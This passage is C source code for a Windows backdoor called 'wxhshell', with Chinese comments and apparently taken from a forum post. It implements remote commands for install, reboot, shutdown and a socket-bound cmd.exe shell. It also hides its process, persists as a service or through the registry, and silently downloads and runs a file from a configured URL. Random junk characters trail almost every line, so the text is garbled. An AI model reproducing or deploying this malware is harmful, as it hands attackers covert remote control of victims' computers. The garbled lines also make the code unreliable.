  } 5-8]N>/b!  
  // 安装 `*e4m  
  case 'i': {  6R;)  
    if(Install()) C9<4~IM w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -6rf( ER  
    else xClRO,-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  r=fE8[,  
    break; !uWxRpT,7  
    } 8To7c  
  // 卸载 &sm @  
  case 'r': { owE<7TGPI?  
    if(Uninstall()) 29"mE;j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EHpu*P~W  
    else j\2] M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 44|deE3Z  
    break; 2?GXkPF2;A  
    } 8#+`9GI  
  // 显示 wxhshell 所在路径 wL'oImE  
  case 'p': { 94Xjz(  
    char svExeFile[MAX_PATH]; `[WyH O|8  
    strcpy(svExeFile,"\n\r"); Bj@x$v#/^  
      strcat(svExeFile,ExeFile); <fNGhmL  
        send(wsh,svExeFile,strlen(svExeFile),0); r_Lu~y|  
    break; luW <V>  
    } 7dSh3f!  
  // 重启 (E!%v`_0  
  case 'b': { |/@0~O(6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A)8rk_92Q  
    if(Boot(REBOOT)) mR"uhm}q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {bN Y  
    else { 6 -]>]Hr-  
    closesocket(wsh); za,6 du6  
    ExitThread(0); ;K3d' U  
    } }%eDEM  
    break; &oA~ Tx  
    } A?e,U,  
  // 关机 7egq4gN]2Y  
  case 'd': { 43KaL(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uu}'i\Q  
    if(Boot(SHUTDOWN)) 8{oZi]ob  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F4Rr26M  
    else { );=Q] >  
    closesocket(wsh); Q}=fVY  
    ExitThread(0); s4 (Wp3>3i  
    } $h,d? .u6w  
    break; ZQ|5W6c  
    } <BSSa`N`  
  // 获取shell aZ$/<|y~:_  
  case 's': { FIH@2zA  
    CmdShell(wsh); WPIZi[hBs  
    closesocket(wsh); Gc wt7~  
    ExitThread(0); vruD U#  
    break; vyE{WkZxR  
  } U<Vy>gIC  
  // 退出 \UOm]z  
  case 'x': { 4iwf\#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C?/r;  
    CloseIt(wsh); )`^ /(YG  
    break; Q |%-9^  
    } rR\;G2p)  
  // 离开 VrVDm*AGQ  
  case 'q': { "9w}dQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xpAok]  
    closesocket(wsh); #*^e,FF<  
    WSACleanup();  7SaiS_{:  
    exit(1); 0*/kGvw`i  
    break; "v5ElYG  
        } 8&%Cy'TIz4  
  } [,rn3CA  
  } ul$,q05nb  
6(Vhtr2( *  
  // 提示信息 :<H8'4>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hte[TRbM  
} z?4=h Sy  
  } 4Ac}(N5D@  
)9B:Y;>)  
  return; FNC[59   
} 1eHe~p ,  
i3P9sdTD  
// shell模块句柄 Hs$'0:  
int CmdShell(SOCKET sock) ~q 7;8<U  
{ q4/909x=  
STARTUPINFO si; UA0F):  
ZeroMemory(&si,sizeof(si)); a fx'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eeW`JG-E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uaaf9SL?  
PROCESS_INFORMATION ProcessInfo; ?_%u)S*g  
char cmdline[]="cmd"; ya.n'X14  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xz8G}Ku  
  return 0; FIS "Z(  
} l[oe*aYN7  
Lc|{aN  
// 自身启动模式 P 6.!3%y  
int StartFromService(void) TcJ$[  
{ &qKig kLd  
typedef struct RU|X*3";T  
{ i'=2Y9S}  
  DWORD ExitStatus; ,5{$+  
  DWORD PebBaseAddress; 'C^;OjAg  
  DWORD AffinityMask; p?JQ[K7i  
  DWORD BasePriority; Z/g]o#  
  ULONG UniqueProcessId; >?I/;R.-  
  ULONG InheritedFromUniqueProcessId; 5$%XvM  
}   PROCESS_BASIC_INFORMATION; doR4nRl9  
'#q4Bc1  
PROCNTQSIP NtQueryInformationProcess; bY)#v?  
45<y{8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DkdL#sV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'mE^5K  
cDIBDC  
  HANDLE             hProcess; 6e.[,-eU  
  PROCESS_BASIC_INFORMATION pbi; UFw](%=&M  
bq NP#C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,EI:gLH  
  if(NULL == hInst ) return 0; #K4*6LI  
[Gtb+'8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O,'#C\   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E7`qmn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 64umul  
+rc SL8C  
  if (!NtQueryInformationProcess) return 0; Q|c|2byb  
i%F<AY\O)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z!_n_F k  
  if(!hProcess) return 0; n Q-mmY>#  
`N'V#)Pi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,[l`zp  
p0VUh!  
  CloseHandle(hProcess); #K|9^4jt  
50$W0L$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); + >nr.,qo3  
if(hProcess==NULL) return 0; Q4Q pn  
S-c ^eLzQ  
HMODULE hMod; EI1? GB)b  
char procName[255]; fd1C {^c  
unsigned long cbNeeded; y}"7e)|t%  
? JXa~.dA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UQPU"F7.  
5jZiJw(  
  CloseHandle(hProcess); E ]f)Os$  
1m)M;^_  
if(strstr(procName,"services")) return 1; // 以服务启动 [>Fm [5x  
_ck[&Q  
  return 0; // 注册表启动 xaW{I7FfG  
} i=rH7k  
 uMd. j$$  
// 主模块 BJy;-(JP  
int StartWxhshell(LPSTR lpCmdLine) pj8azFZ  
{ g7n "  
  SOCKET wsl; ?fK1  
BOOL val=TRUE; E!mmLVa9  
  int port=0; qZ+H5AG2  
  struct sockaddr_in door; !Zjq9{t\"  
GBQn_(b9I  
  if(wscfg.ws_autoins) Install(); Gu;OV LR|  
;;#`#v  
port=atoi(lpCmdLine); _A'{la~k  
{/ 2E*|W~I  
if(port<=0) port=wscfg.ws_port; tC)6  
L0"~[zB]N  
  WSADATA data; (CE7j<j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MKg,!TELe  
2*1ft>Uty  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7x k|+!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /+[63=fl  
  door.sin_family = AF_INET; 1@qgF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [Qj;/  
  door.sin_port = htons(port); ;rR/5d1!  
%!|O.xxRR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E^CiOTN  
closesocket(wsl); z]@6fM[  
return 1; c$h9/H=~  
} h"W8N+e\  
&JhX +'U  
  if(listen(wsl,2) == INVALID_SOCKET) { -t-tn22  
closesocket(wsl); [*4fwk^  
return 1; 5v _P Oq  
} fZ{[]dn[  
  Wxhshell(wsl); |FNCXlgZ  
  WSACleanup(); !#N\ b  
N#k61x  
return 0; r{K;|'d%h  
(f#b7O-Wn  
} 'EhBRU%  
L%h/OD  
// 以NT服务方式启动 >I'% !E;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i.y)mcB4  
{ .*5Z"Q['G  
DWORD   status = 0; >)**khuP7  
  DWORD   specificError = 0xfffffff; EL D!{bMT  
JAjku6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \".^K5Pm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E>uVofhml  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'Jj=RAV`  
  serviceStatus.dwWin32ExitCode     = 0; Q[u6|jRt  
  serviceStatus.dwServiceSpecificExitCode = 0; 8P: spD0  
  serviceStatus.dwCheckPoint       = 0; F- rQ3  
  serviceStatus.dwWaitHint       = 0; Ak BMwV  
Ng=ONh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @g-Tk  
  if (hServiceStatusHandle==0) return; MMQ;mw=^]  
v~)LO2y   
status = GetLastError(); h<l1U'Bn7  
  if (status!=NO_ERROR) %,q. ),F  
{ anN#5jt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '%;\YD9  
    serviceStatus.dwCheckPoint       = 0; #x@eDnb_  
    serviceStatus.dwWaitHint       = 0; 0C$vS`s&  
    serviceStatus.dwWin32ExitCode     = status; 27Emm c  
    serviceStatus.dwServiceSpecificExitCode = specificError; ccJM>9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [\e@_vY@OH  
    return; &^.57]  
  } z\!K<d"Xv  
X[3}?,aqL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ip *g'  
  serviceStatus.dwCheckPoint       = 0; U5r}6D!)  
  serviceStatus.dwWaitHint       = 0; c j$6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }}{Yw  
} H=^K@Ti:  
H)(jh  
// 处理NT服务事件,比如:启动、停止 rZ03x\2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y] g?2N=E  
{ vqdX^m^PY  
switch(fdwControl) I PCGt{B~  
{ 47>>4_Hz  
case SERVICE_CONTROL_STOP: DXR:1w[^  
  serviceStatus.dwWin32ExitCode = 0; R9o-`Wz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,<Kx{+ [h  
  serviceStatus.dwCheckPoint   = 0; i@P}{   
  serviceStatus.dwWaitHint     = 0; j?i#L}.I  
  { S?0$?w?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l.=p8-/$'7  
  } g=8un`]7  
  return; gFN 9jM  
case SERVICE_CONTROL_PAUSE: uaPx"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^TdZ*($5  
  break; ~N0 sJ%  
case SERVICE_CONTROL_CONTINUE: V!/:53  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z8_XX$Mnt  
  break; Ctu?o+^;z  
case SERVICE_CONTROL_INTERROGATE: ~qP[eWe  
  break; >{zk qvsQ&  
}; 0y#Ih {L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nHXX\i  
} \IM4Z|NN"  
mEAXM 1J|  
// 标准应用程序主函数 p*3; hGp6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Sv[5NZn0&  
{ &(pjqV  
Lxl_"k G  
// 获取操作系统版本 I:j3sy  
OsIsNt=GetOsVer(); _8?o'<!8?^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =r. >N\  
/F/;G*n  
  // 从命令行安装 S~OhtHwK  
  if(strpbrk(lpCmdLine,"iI")) Install(); ssQ BSbx  
2\<.0  
  // 下载执行文件 p s|)cW3`  
if(wscfg.ws_downexe) { kGYTl,A{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ro~+j}*   
  WinExec(wscfg.ws_filenam,SW_HIDE); .?W5{U  
} @z`@f"l  
JK_OZ  
if(!OsIsNt) { ))h6~1`  
// 如果时win9x,隐藏进程并且设置为注册表启动 S=|@L<O  
HideProc(); L@Nu/(pB=  
StartWxhshell(lpCmdLine); LRb, VD:/Y  
} pW\'Z Rj  
else {p<Zbm.  
  if(StartFromService()) [5d2D,)  
  // 以服务方式启动  a*dQ _  
  StartServiceCtrlDispatcher(DispatchTable); oMH.u^b]fT  
else ^%T7.1'x  
  // 普通方式启动 io2)1cE&f  
  StartWxhshell(lpCmdLine); ^eq</5q D  
3,X/,'  
return 0; :Ixx<9c.  
}
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只看该作者 1 发表于: 2006-10-10
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